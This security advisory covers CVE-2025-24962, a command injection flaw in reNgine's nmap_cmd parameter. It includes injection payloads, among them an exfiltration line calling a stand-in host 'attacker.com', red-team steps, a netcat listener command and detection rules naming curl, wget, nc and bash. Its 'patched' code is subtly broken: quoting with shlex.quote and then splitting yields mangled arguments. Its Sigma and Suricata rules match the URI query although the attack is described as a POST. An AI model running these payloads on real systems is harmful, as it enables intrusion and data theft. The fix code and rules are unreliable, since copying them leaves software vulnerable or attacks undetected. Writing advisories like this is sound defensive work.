CVE-2025-24962

Executive Summary

CVE-2025-24962 is a critical command injection vulnerability in reNgine, an automated reconnaissance framework for web applications. The flaw resides in the nmap_cmd parameter, allowing an authenticated attacker to inject arbitrary operating system commands. This can lead to full server compromise, data exfiltration, and lateral movement within the target environment. The vulnerability is currently unpatched in a stable release, but a fix exists in the project's commit history. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the flaw, a realistic score is 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

Supply Chain & Package Security

reNgine is a Python-based framework distributed via GitHub and Docker. The vulnerability affects the core application logic, not a specific package manager. However, users who deploy reNgine via Docker or pip should monitor the official repository for a patched release. The supply chain risk is moderate, as the application is often used in security testing environments and may be exposed to internal networks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Potential for denial of service or system destruction.

Threat Level: High. The vulnerability is easy to exploit and can lead to complete system takeover.

Deep Dive & Mechanics

The vulnerability exists in the handling of the nmap_cmd parameter within reNgine's scan configuration. The application constructs an Nmap command string by concatenating user-supplied input without proper sanitization. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The application uses a function similar to os.system() or subprocess.Popen() with shell=True to execute the Nmap command. The nmap_cmd parameter is directly interpolated into the command string.

Attack Vector: An authenticated user sends a POST request to the scan creation endpoint with a malicious nmap_cmd value.

Example Payload:

nmap_cmd=-oA /tmp/scan; id > /tmp/out.txt

This would execute id and write the output to /tmp/out.txt.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def run_scan(nmap_cmd):
    command = f"nmap {nmap_cmd}"
    subprocess.Popen(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def run_scan(nmap_cmd):
    safe_cmd = shlex.quote(nmap_cmd)
    command = f"nmap {safe_cmd}"
    subprocess.Popen(command.split(), shell=False)

The patched version uses shlex.quote() to escape shell metacharacters and avoids shell=True by passing arguments as a list.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for reNgine.
• Network access to the reNgine web interface.

Exploitation Steps:

1. Log in to reNgine.
2. Navigate to the scan creation page.
3. Intercept the request with a proxy (e.g., Burp Suite).
4. Modify the nmap_cmd parameter to include a command injection payload.
5. Send the request.

Example Payload:

nmap_cmd=-oA /tmp/scan; curl http://attacker.com/$(whoami)

Lab Setup:

• Deploy a vulnerable version of reNgine (commit before c28e5c8d).
• Use a local VM with Docker: docker run -d -p 8080:80 rengine:unpatched.
• Set up a listener on the attacker machine: nc -lvnp 4444.

Blue Team

Detection:

• Monitor for unusual nmap_cmd parameters containing shell metacharacters.
• Look for outbound connections from the reNgine server to unknown IPs.
• Check for unexpected processes spawned by the reNgine application.

Hunting:

• Search logs for nmap_cmd values containing ;, |, &&, or backticks.
• Use endpoint detection tools to alert on subprocess.Popen with shell=True.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled IPs on non-standard ports.
• File System: Unexpected files in /tmp/ or /var/tmp/ (e.g., scan.xml, out.txt).
• Process: Child processes of reNgine running commands like id, curl, wget.
• Logs: Web server logs showing nmap_cmd with shell metacharacters.

Detection Engineering

YARA Rule

rule CVE_2025_24962_Command_Injection {
    meta:
        description = "Detects command injection attempts in reNgine nmap_cmd parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24962"
    strings:
        $cmd1 = /nmap_cmd=.*[;&|`$]/
        $cmd2 = /nmap_cmd=.*\b(?:id|whoami|curl|wget|nc|bash)\b/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-24962 reNgine Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in reNgine nmap_cmd parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "nmap_cmd=*;*"
            - "nmap_cmd=*|*"
            - "nmap_cmd=*&&*"
            - "nmap_cmd=*`*"
    condition: selection
falsepositives:
    - Legitimate use of complex Nmap arguments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24962 reNgine Command Injection Attempt"; flow:to_server; content:"nmap_cmd"; http_uri; pcre:"/nmap_cmd=.*[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the commit c28e5c8d manually if possible.
2. Restrict access to the reNgine web interface to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block suspicious nmap_cmd values.

Long-Term Fix:

• Upgrade to the next versioned release once available.
• Conduct a code review to ensure all user inputs are properly sanitized.
• Use parameterized commands or avoid shell=True in subprocess calls.

Workaround:

• Disable the Nmap scan feature if not essential.
• Implement input validation to allow only predefined Nmap arguments.

Valters IT